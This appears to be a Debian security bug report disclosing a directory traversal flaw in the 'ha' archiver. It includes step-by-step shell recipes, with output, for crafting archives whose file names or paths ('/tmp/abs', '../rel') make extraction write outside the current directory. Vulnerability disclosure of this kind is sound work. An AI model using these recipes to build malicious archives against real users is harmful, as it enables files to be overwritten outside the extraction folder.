Package: ha
Version: 0.999p+dfsg-5
Tags: security
ha is susceptible to directory traversal vulnerabilities. While
extracting an archive, it will happily use absolute and relative paths
taken from the archive. This can be exploited by a malicious archive to
write files outside the current directory.
ha seems to store file names separately from their paths. Directory
traversals are possible through both of the parts.
1. Through file name part.
A sample archive could be prepared in following way:
$ touch XtmpXabs XXXrel
$ ha a test.ha XtmpXabs XXXrel
$ sed -i 's|XtmpXabs|/tmp/abs|g;s|XXXrel|../rel|g' test.ha
$ rm XtmpXabs XXXrel
Then check it works:
$ ls /tmp/abs ../rel
ls: cannot access /tmp/abs: No such file or directory
ls: cannot access ../rel: No such file or directory
$ ha lf test.ha
HA 0.999� Copyright (c) 1995 Harri Hirvola
Archive : test.ha (2 files)
filename original compressed rate date time m
CRC-32 path
attr
===========================================================================
/tmp/abs 0 0 100.0 % 2015-01-09 15:24 CPY
00000000 (none)
-rw-r--r--
---------------------------------------------------------------------------
../rel 0 0 100.0 % 2015-01-09 15:24 CPY
00000000 (none)
-rw-r--r--
===========================================================================
2 0 0 100.0 %
$ ha x test.ha
HA 0.999� Copyright (c) 1995 Harri Hirvola
Archive : test.ha (2 files)
Unpacking CPY 100 % /tmp/abs
Unpacking CPY 100 % ../rel
$ ls /tmp/abs ../rel
../rel /tmp/abs
2. Through path part.
A sample archive could be prepared in following way:
$ mkdir Xtmp/ XX/
$ touch Xtmp/abs XX/rel
$ ha a test.ha Xtmp/abs XX/rel
$ sed -i 's|Xtmp|/tmp|g;s|XX|..|g' test.ha
$ rm -r Xtmp/ XX/
Then check it works:
$ ls /tmp/abs ../rel
ls: cannot access /tmp/abs: No such file or directory
ls: cannot access ../rel: No such file or directory
$ ha lf test.ha
HA 0.999� Copyright (c) 1995 Harri Hirvola
Archive : test.ha (2 files)
filename original compressed rate date time m
CRC-32 path
attr
===========================================================================
abs 0 0 100.0 % 2015-01-09 15:29 CPY
00000000 /tmp/
-rw-r--r--
---------------------------------------------------------------------------
rel 0 0 100.0 % 2015-01-09 15:29 CPY
00000000 ../
-rw-r--r--
===========================================================================
2 0 0 100.0 %
$ ha x test.ha
HA 0.999� Copyright (c) 1995 Harri Hirvola
Archive : test.ha (2 files)
Unpacking CPY 100 % /tmp/abs
Unpacking CPY 100 % ../rel
$ ls /tmp/abs ../rel
../rel /tmp/abs
--
Alexander Cherepanov
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